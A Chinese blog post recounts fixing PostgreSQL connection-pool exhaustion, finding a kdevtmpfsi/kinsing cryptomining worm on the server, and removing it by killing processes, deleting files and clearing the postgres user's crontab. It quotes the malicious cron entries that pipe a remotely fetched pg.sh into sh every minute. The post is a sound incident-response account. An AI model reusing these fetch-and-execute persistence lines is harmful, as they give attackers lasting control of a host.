挖礦僵屍網路蠕蟲病毒kdevtmpfsi處理過程

来源:https://www.cnblogs.com/Ddlm2wxm/archive/2023/02/21/17141655.html
-Advertisement-
Play Games

背景: pgsql連接時候報錯org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已經把連接池占滿了. 使用ps -ef | grep postgres刪除幾個進程, 進入資料庫運行S ...


背景:

  • pgsql連接時候報錯org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已經把連接池占滿了.

  • 使用ps -ef | grep postgres刪除幾個進程, 進入資料庫運行SELECT * FROM pg_stat_activity, 發現大部分都是idle空閑狀態的連接

  • 然後修改/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout為2000(2s), 但是資料庫中有警告(如下), 同時navicat中稍等2s後也會報這樣異常, 但是再次運行就可以. 因為navicat/dbeaver也是通過連接池方式與資料庫進行的連接

    2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)

  • 後來只好將idle_session_timeout恢復, 然後嘗試擴大線程池大小

  • 但是線程池大小跟伺服器配置有關, 預設的大小是100, 在postgres.conf中修改max_connections為200, 重啟資料庫雖然可以正常使用, 但是在tomcat重啟時(war包會依次重新部署), 伺服器因為資料庫連接池太大, 導致tomcat啟動失敗(可能是堆棧溢出了).

  • 再次嘗試調整到150, 雖然可以正常使用, 但是postgres會占用cpu太高, 300%左右, 只好調整回100.

  • 在pgsql高版本中對此也有一部分配置, 比如每隔幾分鐘會發現無效連接併進行關閉, 可以減輕部分連接池壓力(詳情見參考1)

    一、idle_session_timeout參數
    
    用來控制空閑會話連接超時的時間。區別於tcp_keepalives相關參數,
    
    當一個會話連接長時間沒有執行SQL或者活動時,會將該會話釋放,可以釋放緩存避免出現例如OOM等問題
    
    idle_session_timeout:預設值為0,表示禁用,其單位是毫秒;
    
    14版本引入了idle_session_timeout參數,可以在設置該參數,超過設置的時間,資料庫會關閉空閑連接。之前的老版本可以使用pg_timeout插件,達到同樣的效果。但是同樣也會關閉掉我們想保留的正常的空閑連接,所以設置TCP keepalive是更好的解決方案。
    
    二、postgresql的tcp_keepalives相關參數設置可以及時發現無效連接,
    
    如下這樣可以在5分鐘以內就探測出無效連接
    
    tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds;
    
    tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds;
    
    tcp_keepalives_count = 10 # TCP_KEEPCNT;
    
    三、PG14版本還引入了client_connection_check_interval參數,
    
    每隔一段時間檢測client是否離線(斷開),如果已經離線,則快速結束掉正在運行的query,,浪費資料庫資源。預設是0,單位預設毫秒
    
    官方文檔解釋:
    
    client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
    

  • 就在調整回100後過了半個小時, 進伺服器使用top複查時, 發現了一個還有一個線程占用了388.0%, 名稱為kdevtmpfsi, 經過百度發現這是個在20年處爆發的挖礦僵屍網路蠕蟲病毒, 但是網上都是說是通過redis未授權或弱口令作為入口進行侵入的, 但是這次遇到的情況卻不是因為redis引起的.

    image

  • 第一步肯定是先把進程停了: 使用kill -9 pid停止進程, 發現有個依賴進程kinsing, 那就先使用ps -ef | grep kinsing找到對應的pid停止即可.

  • 如果到這一步停止的話, 過不了多久他會自動重新啟動的.

  • 繼續挖, 全盤查找這兩個文件 find / kinsing發現只有/tmp中有, 我第一次時候直接rm -f /tmp/kinsing刪除了這兩個文件, 然後就束手無策了, 但是在一小時左右時候kinsing又重新生成了.

  • 通過ll發現kinsing的擁有者是postgres, 這時才確定了是pgsql引起的, 而不是redis引起的

    image

  • 接下來就好說了, 首先刪除kinsing文件

  • 使用crontab指令(下方是使用說明)找出postgres創建的定時任務, 刪除掉即可.

Usage:
 crontab [options] file
 crontab [options]
 crontab -n [hostname]

Options:
 -u <user>  define user
 -e         edit user's crontab
 -l         list user's crontab
 -r         delete user's crontab
 -i         prompt before deleting
 -n <host>  set host in cluster to run users' crontabs
 -c         get host in cluster to run users' crontabs
 -s         selinux context
 -V         print version and exit
 -x <mask>  enable debugging

-u 定義用戶(誰建立的)
-e 修改用戶創建的定時任務
-l 列舉出用戶創建的定時任務
-r 刪除用戶創建的定時任務


crontab -u postgres -e 使用預設編輯器打開postgres創建的定時任務, 對應的定時任務文件在/var/spool/cron/目錄下.

顯示:

* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1

刪除的話直接使用vim指令dd全部刪除, :wq保存退出即可.


哪些有風險呢? 通過尋找解決之法時候發現包括但不限於以下幾種

  • redis

  • pgsql

  • php

如何避免呢?

  • 伺服器上只開放使用到的伺服器

  • 儘量不使用預設埠(如: 3306, 5432, 8848)

  • 不用使用預設密碼, 一定修改密碼, 且複雜度高一些

  • 安裝包使用官方版本


參考1: postgresql空閑連接以及連接有效性檢查的參數小結

參考2: Postgres資料庫修改最大連接數

參考3: 記一次伺服器 linux(centos7)被 postgres 病毒攻擊, 挖礦的事故

參考4: 阿裡雲伺服器中挖礦病毒了,名稱為 kinsing

參考5: kdevtmpfsi using 100% of CPU?

參考6: 關於linux病毒kinsing kdevtmpfsi 的處理

參考7: Linux伺服器kdevtmpfsi挖礦病毒解決方法:治標+治本

參考8: kdevtmpfsi 處理(挖礦病毒清除)

參考9: 威脅快報|Redis RCE導致h2Miner蠕蟲新一輪爆發,建議用戶及時排查以防事態升級

參考10: linux - kdevtmpfsi using the entire CPU


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 一、什麼時候需要用到NuGet私有伺服器 很多公司中架構師會搭建一個統一的項目基礎架構模板,然後全部新項目都會拿這個基礎架構來開發新的項目,那架構中就會有很多的中間件,比喻公司內部的封裝好的Redis中間件,訪問資料庫的中間件,MQ中間件,小程式中間件等等。 現在很多項目都用這個模板開發了,然後其中 ...
  • 概述 使用原型實例指定創建對象的種類,並且通過拷貝這些原型創建新的對象。 在軟體系統開發中,有時候會遇到這樣的情況:我們需要用到多個相同實例,最簡單直接的方法是通過多次調用new方法來創建相同的實例。 student s=new student(); student s1=new student() ...
  • 一 背景 在我們的工作中我們經常有一種場景就是要使用到隊列,特別是對於這樣的一種情況:就是生產的速度明顯快於消費的速度,而且在多線程的環境下消息的生產由多個線程產生消息的消費則沒有這種限制,通過使用隊列這種方式能夠很大程度上將多線程的問題通過入隊的方式變成單個線程內的消息的聚合,然後通過單獨的線程進 ...
  • 對於openfoam或其他c++程式而言,文件的讀取是尤為重要的 我們最開始學習C++時,會學到類的初始化,或者是變數定義為某個值,再對某個值進行遍歷,,, 類似如下: 點擊查看代碼 #include <iostream> // 包含頭文件。 using namespace std; // 指定預設 ...
  • 需求:查看Windows某個文件夾所有一級子文件夾大小,並按照從大到小排序 解決方案:使用Powershell腳本 腳本內容如下 function filesize () { [string]$filepath =".\" $sortedlength = @{ } $sorted = @{ } if ...
  • CM4 Media是一款基於 Raspberry Pi / 樹莓派 Compute Module 4,由EDATEC設計的多媒體電腦。 SPECIFICATIONS 分類 特點 處理器 Broadcom BCM2711 quad-core Cortex-A72 (ARM v8) 64-bit SoC ...
  • 為什麼使用資料庫 使用資料庫主要原因有兩點: 為了方便我們長久的存儲數據 可以很方便的幫我們管理,查詢資料庫中的數據! 可以存儲各種各樣的數據類型,比如:字元串、數字、文件、圖片等等 資料庫的常用概念 DB:資料庫(Database) 即存儲數據的倉庫,其本質是一個文件系統。它保存了一系列有組織的數 ...
  • 本文旨在站在研發的角度上通過手動實踐搭建運行環境,文中不拖泥帶水過多講述基礎知識,結合Hadoop和Spark最新版本,幫助大家跟著步驟一步步實踐環境搭建。 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...